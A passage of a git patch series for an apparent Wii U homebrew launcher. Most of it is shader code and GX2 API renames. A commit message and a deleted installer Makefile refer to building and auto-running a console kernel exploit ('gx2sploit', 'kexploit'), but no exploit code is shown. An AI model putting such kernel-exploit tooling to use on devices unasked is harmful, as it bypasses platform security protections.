0x03ac0f00,0xfe08c66f,0xfebc9f80,0xfd00420f, - 0xe07be53f,0x5c8e5a3f,0xfeb09f00,0xfd00620f, - 0x05e81f00,0x9000f02f,0x7fe48f00,0xfe04624f, - 0x04ec8f00,0xfe08626f,0x03840f81,0x7f08a20f, - 0xe07be53f,0x5c8e5a3f,0x7e0c1f00,0x900ce00f, - 0xfe0c1f00,0x900c802f,0x05cc1f00,0x9000e84f, - 0xfeb89f80,0xfd00626f,0xe07be53f,0x5c8e5a3f, - 0x7cc09f81,0x80000020,0x7fa40f00,0x00280000, - 0xfe848f00,0x00280020,0x7fe80f00,0x00280440, - 0xfd001f80,0x00280060,0x00000080,0x00000000, - 0xfdc01f80,0xf800620f,0x00000243,0x00000000, - 0xfea01f80,0x90000060,0x5555d53f,0x00000000, - 0x02011f80,0x8c110000,0x02448002,0x80020000, - 0xf8402000,0x9006a02f,0x02552081,0x00000040, - 0xfe301f00,0x1000e06f,0xfe081f80,0x1033c02f, - 0xfe4c2081,0x80060040,0xfee88f81,0x0289e32f, - 0x02c59f80,0x80060000,0xfee08f80,0x0285636f, - 0xfecc8f80,0x80000000,0xfe40a081,0x80000060, - 0x00cc9f81,0x9000e04f,0xfe281f00,0x80060000, - 0xf8c01f81,0x9006c02f,0xfee00f81,0xfd80636f, - 0x0000803f,0x00000000,0x7ec49f81,0xf880e34f, - 0xfe381f80,0x00000000,0x7de40f81,0xfe800360, - 0x00011f80,0x8c100000,0xf8001f00,0x900ce00f, - 0x00311f00,0x1000e02f,0x02a41f00,0xf910624f, - 0x02a01f00,0xf910626f,0x00011f80,0x1033e04f, - 0x00000040,0x00000000,0xfecc9f03,0x80020000, - 0xfec81f83,0x80020060,0x7fd49f01,0x00000020, - 0x7fd41f80,0x00000040,0xfe081f00,0x80010000, - 0xfe041f80,0x80010060,0xfee00f01,0x80000000, - 0xfeec0f81,0x80000020,0xfec01f00,0x00280000, - 0xfec49f00,0x00280020,0x7fe00f00,0x00280040, - 0xfd001f80,0x00280060,0x00000080,0x00000000, - 0xfe001f80,0x00350000,0x00ec1f82,0x000c0260, - 0x01011f00,0x800c0000,0x01051f00,0x800c0020, - 0x002c1f00,0x80060040,0xf8008001,0x9006e06f, - 0x01091f80,0x800c0000,0x01c01f00,0x90000000, - 0xfe088001,0xfd80632f,0x01e81f00,0x90000040, - 0x01c49f80,0x90000020,0x0000803f,0x00000000, - 0x7fcc9f80,0xf880630f,0xfe20a081,0x80000000, - 0x01cc1f80,0x90000060,0xc21e82a7,0x62ccc547, - 0x1708607c,0x73ea57a6 -}; -static const u32 cpPixelShaderRegs[] = { - 0x00000106,0x00000002,0x14000003,0x00000000, - 0x00000003,0x00000100,0x00000101,0x00000102, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x0000000f,0x00000001,0x00000010, - 0x00000000 -}; - -ShaderFractalColor * ShaderFractalColor::shaderInstance = NULL; - -ShaderFractalColor::ShaderFractalColor() - : vertexShader(cuAttributeCount) -{ - //! create pixel shader - pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); - - blurLocation = 0; - colorIntensityLocation = 4; - fadeOutLocation = 8; - fractalLocation = 12; - pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_border", GX2_VAR_TYPE_FLOAT, 1, blurLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fract_alpha", GX2_VAR_TYPE_INT, 1, fractalLocation, 0xffffffff }); - - //! create vertex shader - vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); - - modelMatrixLocation = 0; - projectionMatrixLocation = 16; - viewMatrixLocation = 32; - vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); - - positionLocation = 0; - colorLocation = 1; - texCoordLocation = 2; - vertexShader.addAttribVar((GX2AttribVar){ "attr_colors", GX2_VAR_TYPE_VEC4, 0, colorLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); - - //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(2), colorLocation, 2, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); - - //! create fetch shader - fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); - - //! initialize default quad texture vertexes as those are very commonly used - //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 - posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); - texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); - colorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciColorVtxsSize); - - //! position vertex structure and texture coordinate vertex structure - int i = 0; - posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); - - i = 0; - texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; - texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); - - - for(i = 0; i < (int)ciColorVtxsSize; i++) - colorVtxs[i] = 0xff; - - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, ciColorVtxsSize); -} - -ShaderFractalColor::~ShaderFractalColor() -{ - if(posVtxs) - { - free(posVtxs); - posVtxs = NULL; - } - if(texCoords) - { - free(texCoords); - texCoords = NULL; - } - if(colorVtxs) - { - free(colorVtxs); - colorVtxs = NULL; - } - - delete fetchShader; - fetchShader = NULL; -} diff --git a/src/video/shaders/ShaderFractalColor.h b/src/video/shaders/ShaderFractalColor.h deleted file mode 100644 index d3d8355..0000000 --- a/src/video/shaders/ShaderFractalColor.h +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef SHADER_FRACTAL_COLOR_H_ -#define SHADER_FRACTAL_COLOR_H_ - -#include "VertexShader.h" -#include "PixelShader.h" -#include "FetchShader.h" - -class ShaderFractalColor : public Shader -{ -private: - ShaderFractalColor(); - virtual ~ShaderFractalColor(); - - static ShaderFractalColor * shaderInstance; - - static const unsigned char cuAttributeCount = 3; - static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; - static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; - static const u32 ciColorVtxsSize = 4 * cuColorAttrSize; - - FetchShader *fetchShader; - VertexShader vertexShader; - PixelShader pixelShader; - - f32 *posVtxs; - f32 *texCoords; - u8 *colorVtxs; - - u32 modelMatrixLocation; - u32 viewMatrixLocation; - u32 projectionMatrixLocation; - u32 positionLocation; - u32 colorLocation; - u32 texCoordLocation; - - u32 blurLocation; - u32 colorIntensityLocation; - u32 fadeOutLocation; - u32 fractalLocation; -public: - static ShaderFractalColor *instance() { - if(!shaderInstance) { - shaderInstance = new ShaderFractalColor(); - } - return shaderInstance; - } - static void destroyInstance() { - if(shaderInstance) { - delete shaderInstance; - shaderInstance = NULL; - } - } - - void setShaders(void) const - { - fetchShader->setShader(); - vertexShader.setShader(); - pixelShader.setShader(); - } - - void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL, const u8 * colorVtxs_in = NULL) const - { - if(posVtxs_in && texCoords_in && vtxCount) - { - VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); - VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); - VertexShader::setAttributeBuffer(2, vtxCount * cuColorAttrSize, cuColorAttrSize, colorVtxs_in); - } - else { - //! use default quad vertex and texture coordinates if nothing is passed - VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); - VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); - VertexShader::setAttributeBuffer(2, ciColorVtxsSize, cuColorAttrSize, colorVtxs); - } - } - - void setProjectionMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); - } - void setViewMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); - } - void setModelViewMtx(const glm::mat4 & mtx) - { - VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); - } - - void setBlurBorder(const float & blurBorderSize) - { - PixelShader::setUniformReg(blurLocation, 4, &blurBorderSize); - } - void setColorIntensity(const glm::vec4 & vec) - { - PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); - } - void setAlphaFadeOut(const glm::vec4 & vec) - { - PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); - } - void setFractalColor(const int & fractalColorEnable) - { - PixelShader::setUniformReg(fractalLocation, 4, &fractalColorEnable); - } -}; - -#endif // SHADER_FRACTAL_COLOR_H_ diff --git a/src/video/shaders/Texture2DShader.cpp b/src/video/shaders/Texture2DShader.cpp index ad7ac52..a1973da 100644 --- a/src/video/shaders/Texture2DShader.cpp +++ b/src/video/shaders/Texture2DShader.cpp @@ -204,11 +204,11 @@ Texture2DShader::Texture2DShader() blurLocation = 0; colorIntensityLocation = 4; - pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_VAR_TYPE_VEC3, 1, blurLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_SHADER_VAR_TYPE_FLOAT3, 1, blurLocation, -1 }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); @@ -216,18 +216,18 @@ Texture2DShader::Texture2DShader() angleLocation = 0; offsetLocation = 4; scaleLocation = 8; - vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_SHADER_VAR_TYPE_FLOAT, 1, angleLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_SHADER_VAR_TYPE_FLOAT3, 1, offsetLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_SHADER_VAR_TYPE_FLOAT3, 1, scaleLocation, -1 }); positionLocation = 0; texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -243,14 +243,14 @@ Texture2DShader::Texture2DShader() posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); } Texture2DShader::~Texture2DShader() diff --git a/src/video/shaders/Texture2DShader.h b/src/video/shaders/Texture2DShader.h index cddeee0..3ce80de 100644 --- a/src/video/shaders/Texture2DShader.h +++ b/src/video/shaders/Texture2DShader.h @@ -104,8 +104,8 @@ public: } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture(texture, samplerLocation); - GX2SetPixelSampler(sampler, samplerLocation); + GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); + GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); } }; diff --git a/src/video/shaders/VertexShader.h b/src/video/shaders/VertexShader.h index 18dc0fe..bcd0f13 100644 --- a/src/video/shaders/VertexShader.h +++ b/src/video/shaders/VertexShader.h @@ -31,7 +31,7 @@ public: if(vertexShader) { memset(vertexShader, 0, sizeof(GX2VertexShader)); - vertexShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; + vertexShader->mode = GX2_SHADER_MODE_UNIFORM_REGISTER; } } @@ -40,38 +40,38 @@ public: if(vertexShader) { - if(vertexShader->shader_data) - free(vertexShader->shader_data); + if(vertexShader->program) + free(vertexShader->program); - for(u32 i = 0; i < vertexShader->uniform_blocks_count; i++) - free((void*)vertexShader->uniform_block[i].name); + for(u32 i = 0; i < vertexShader->uniformBlockCount; i++) + free((void*)vertexShader->uniformBlocks[i].name); - if(vertexShader->uniform_block) - free((void*)vertexShader->uniform_block); + if(vertexShader->uniformBlocks) + free((void*)vertexShader->uniformBlocks); - for(u32 i = 0; i < vertexShader->uniform_vars_count; i++) - free((void*)vertexShader->uniform_var[i].name); + for(u32 i = 0; i < vertexShader->uniformVarCount; i++) + free((void*)vertexShader->uniformVars[i].name); - if(vertexShader->uniform_var) - free((void*)vertexShader->uniform_var); + if(vertexShader->uniformVars) + free((void*)vertexShader->uniformVars); - if(vertexShader->initial_value) - free((void*)vertexShader->initial_value); + if(vertexShader->initialValues) + free((void*)vertexShader->initialValues); - for(u32 i = 0; i < vertexShader->sampler_vars_count; i++) - free((void*)vertexShader->sampler_var[i].name); + for(u32 i = 0; i < vertexShader->samplerVarCount; i++) + free((void*)vertexShader->samplerVars[i].name); - if(vertexShader->sampler_var) - free((void*)vertexShader->sampler_var); + if(vertexShader->samplerVars) + free((void*)vertexShader->samplerVars); - for(u32 i = 0; i < vertexShader->attribute_vars_count; i++) - free((void*)vertexShader->attribute_var[i].name); + for(u32 i = 0; i < vertexShader->attribVarCount; i++) + free((void*)vertexShader->attribVars[i].name); - if(vertexShader->attribute_var) - free((void*)vertexShader->attribute_var); + if(vertexShader->attribVars) + free((void*)vertexShader->attribVars); - if(vertexShader->loops_data) - free((void*)vertexShader->loops_data); + if(vertexShader->loopVars) + free((void*)vertexShader->loopVars); free(vertexShader); } @@ -83,15 +83,15 @@ public: return; //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 - vertexShader->shader_size = programSize; - vertexShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, vertexShader->shader_size); - if(vertexShader->shader_data) + vertexShader->size = programSize; + vertexShader->program = (u8*) memalign(GX2_SHADER_ALIGNMENT, vertexShader->size); + if(vertexShader->program) { - memcpy(vertexShader->shader_data, program, vertexShader->shader_size); - GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, vertexShader->shader_data, vertexShader->shader_size); + memcpy(vertexShader->program, program, vertexShader->size); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_SHADER, vertexShader->program, vertexShader->size); } - memcpy(vertexShader->regs, regs, regsSize); + memcpy(&vertexShader->regs, regs, regsSize); } void addUniformVar(const GX2UniformVar & var) @@ -99,23 +99,23 @@ public: if(!vertexShader) return; - u32 idx = vertexShader->uniform_vars_count; + u32 idx = vertexShader->uniformVarCount; - GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); + GX2UniformVar* newVar = (GX2UniformVar*) malloc((vertexShader->uniformVarCount + 1) * sizeof(GX2UniformVar)); if(newVar) { - if(vertexShader->uniform_vars_count > 0) + if(vertexShader->uniformVarCount > 0) { - memcpy(newVar, vertexShader->uniform_var, vertexShader->uniform_vars_count * sizeof(GX2UniformVar)); - free(vertexShader->uniform_var); + memcpy(newVar, vertexShader->uniformVars, vertexShader->uniformVarCount * sizeof(GX2UniformVar)); + free(vertexShader->uniformVars); } - vertexShader->uniform_var = newVar; + vertexShader->uniformVars = newVar; - memcpy(vertexShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); - vertexShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)vertexShader->uniform_var[idx].name, var.name); + memcpy(vertexShader->uniformVars + idx, &var, sizeof(GX2UniformVar)); + vertexShader->uniformVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)vertexShader->uniformVars[idx].name, var.name); - vertexShader->uniform_vars_count++; + vertexShader->uniformVarCount++; } } @@ -124,28 +124,28 @@ public: if(!vertexShader) return; - u32 idx = vertexShader->attribute_vars_count; + u32 idx = vertexShader->attribVarCount; - GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribute_vars_count + 1) * sizeof(GX2AttribVar)); + GX2AttribVar* newVar = (GX2AttribVar*) malloc((vertexShader->attribVarCount + 1) * sizeof(GX2AttribVar)); if(newVar) { - if(vertexShader->attribute_vars_count > 0) + if(vertexShader->attribVarCount > 0) { - memcpy(newVar, vertexShader->attribute_var, vertexShader->attribute_vars_count * sizeof(GX2AttribVar)); - free(vertexShader->attribute_var); + memcpy(newVar, vertexShader->attribVars, vertexShader->attribVarCount * sizeof(GX2AttribVar)); + free(vertexShader->attribVars); } - vertexShader->attribute_var = newVar; + vertexShader->attribVars = newVar; - memcpy(vertexShader->attribute_var + idx, &var, sizeof(GX2AttribVar)); - vertexShader->attribute_var[idx].name = (char*) malloc(strlen(var.name) + 1); - strcpy((char*)vertexShader->attribute_var[idx].name, var.name); + memcpy(vertexShader->attribVars + idx, &var, sizeof(GX2AttribVar)); + vertexShader->attribVars[idx].name = (char*) malloc(strlen(var.name) + 1); + strcpy((char*)vertexShader->attribVars[idx].name, var.name); - vertexShader->attribute_vars_count++; + vertexShader->attribVarCount++; } } static inline void setAttributeBuffer(u32 bufferIdx, u32 bufferSize, u32 stride, const void * buffer) { - GX2SetAttribBuffer(bufferIdx, bufferSize, stride, buffer); + GX2SetAttribBuffer(bufferIdx, bufferSize, stride, (void*)buffer); } GX2VertexShader *getVertexShader() const { @@ -167,7 +167,7 @@ public: } static void setUniformReg(u32 location, u32 size, const void * reg) { - GX2SetVertexUniformReg(location, size, reg); + GX2SetVertexUniformReg(location, size, (uint32_t*)reg); } protected: u32 attributesCount; From 2b12a0ff515e46884d1c789b6e8b57b00433031a Mon Sep 17 00:00:00 2001 From: dimok789 Date: Wed, 19 Oct 2016 17:57:49 +0200 Subject: [PATCH 4/6] git ignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 2a0e2de..4732176 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,4 @@ /udp_debug_reader/obj /udp_debug_reader/GeckoLog.txt /installer/sd_loader.h +/*.rpx From f82ae160a8500910590607d47bcc9fbbdf5fdba1 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Sun, 6 Nov 2016 23:16:13 +0100 Subject: [PATCH 5/6] - added automatic gx2sploit execution and detection of existing environment - the RPX file can now be used in a channel with for example the NUSPacker (HBL works now as a standalone channel with no PPC exploit pre-requisite like the browser exploit) - adaptions in sd_launcher - fixed listing ELF files - fix launching of ELF files from HBL channel - since HBL RPX does not use 0x0080000 area anymore, the maximum homebrew size is increased to 0x800000 - 0x2000 bytes - removed browser installer from RPX branch as it is of no use here NOTE: A channel will not yet be provided. app.xml, cos.xml, meta.xml and the icons/splash images will be provided later. Possible title id choice 00050000-13371337 :P. --- .gitignore | 2 + Makefile | 12 +- installer/Makefile | 76 --- installer/crt0.S | 8 - installer/elf_abi.h | 591 ----------------------- installer/kernel_patches.S | 282 ----------- installer/kexploit.c | 770 ------------------------------ installer/kexploit.h | 104 ---- installer/launcher.c | 515 -------------------- installer/logger.c | 74 --- installer/logger.h | 86 ---- installer/structs.h | 32 -- installer/types.h | 22 - sd_loader/Makefile | 5 +- sd_loader/src/entry.c | 184 +------ src/Application.cpp | 61 ++- src/Application.h | 6 +- src/common/common.h | 4 +- src/entry.c | 16 - src/kernel/gx2sploit.c | 331 +++++++++++++ src/kernel/gx2sploit.h | 14 + src/kernel/gx2sploit_asm.S | 37 ++ src/main.cpp | 26 +- src/menu/HomebrewLaunchWindow.cpp | 8 +- src/menu/HomebrewWindow.cpp | 12 +- src/menu/TcpReceiver.cpp | 8 +- src/menu/TcpReceiver.h | 2 +- src/utils/logger.c | 2 + src/utils/utils.h | 2 - src/utils/utils_asm.S | 5 - 30 files changed, 484 insertions(+), 2813 deletions(-) delete mode 100644 installer/Makefile delete mode 100644 installer/crt0.S delete mode 100644 installer/elf_abi.h delete mode 100644 installer/kernel_patches.S delete mode 100644 installer/kexploit.c delete mode 100644 installer/kexploit.h delete mode 100644 installer/launcher.c delete mode 100644 installer/logger.c delete mode 100644 installer/logger.h delete mode 100644 installer/structs.h delete mode 100644 installer/types.h create mode 100644 src/kernel/gx2sploit.c create mode 100644 src/kernel/gx2sploit.h create mode 100644 src/kernel/gx2sploit_asm.S delete mode 100644 src/utils/utils_asm.S diff --git a/.gitignore b/.gitignore index 4732176..f0fdb14 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,5 @@ /udp_debug_reader/GeckoLog.txt /installer/sd_loader.h /*.rpx +/sd_loader/sd_loader.h +/sd_loader/*.bin diff --git a/Makefile b/Makefile index 0709937..3f3cf2d 100644 --- a/Makefile +++ b/Makefile @@ -79,7 +79,7 @@ MAKEFLAGS += --no-print-directory #--------------------------------------------------------------------------------- # any extra libraries we wish to link with the project #--------------------------------------------------------------------------------- -LIBS := -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lgd -lpng -lz -lfreetype -lmad -lvorbisidec +LIBS := -lcrt -lcoreinit -lproc_ui -lnsysnet -lsndcore2 -lvpad -lgx2 -lsysapp -lgd -lpng -lz -lfreetype -lmad -lvorbisidec #--------------------------------------------------------------------------------- # list of directories containing libraries, this must be the top level containing @@ -146,12 +146,14 @@ export OUTPUT := $(CURDIR)/$(TARGET) #--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ + @$(Q)$(MAKE) -C sd_loader @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile #--------------------------------------------------------------------------------- clean: @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).rpx + @$(MAKE) -C sd_loader clean #--------------------------------------------------------------------------------- else @@ -172,15 +174,11 @@ $(OUTPUT).elf: $(OFILES) $(Q)$(LD) $^ $(LDFLAGS) -o $@ $(LIBPATHS) $(LIBS) # $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ -../data/loader.bin: - $(MAKE) -C ../loader clean - $(MAKE) -C ../loader - #--------------------------------------------------------------------------------- %.rpx: %.elf #--------------------------------------------------------------------------------- @echo "[RPX] $(notdir $@)" - $(ELF2RPL) $^ $@ + @$(ELF2RPL) $^ $@ #--------------------------------------------------------------------------------- %.a: diff --git a/installer/Makefile b/installer/Makefile deleted file mode 100644 index a5d3343..0000000 --- a/installer/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -sd_loader_elf := ../sd_loader/sd_loader.elf - -CFLAGS += -DUSE_SD_LOADER -ASFLAGS += -DUSE_SD_LOADER - -all: clean setup main532 main550 main500 main410 main400 main310 main300 - -sd_loader.h: $(sd_loader_elf) - xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ - -$(sd_loader_elf): - make -C ../sd_loader - -setup: - mkdir -p $(root)/bin/ - -main550: - make main FIRMWARE=550 - -main540: - make main FIRMWARE=532 - -main532: - make main FIRMWARE=532 - -main500: - make main FIRMWARE=500 - -main410: - make main FIRMWARE=410 - -main400: - make main FIRMWARE=400 - -main310: - make main FIRMWARE=310 - -main300: - make main FIRMWARE=300 - -main210: - make main FIRMWARE=210 - -main200: - make main FIRMWARE=200 - -main: sd_loader.h - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) - -clean: - rm -rf $(build) - 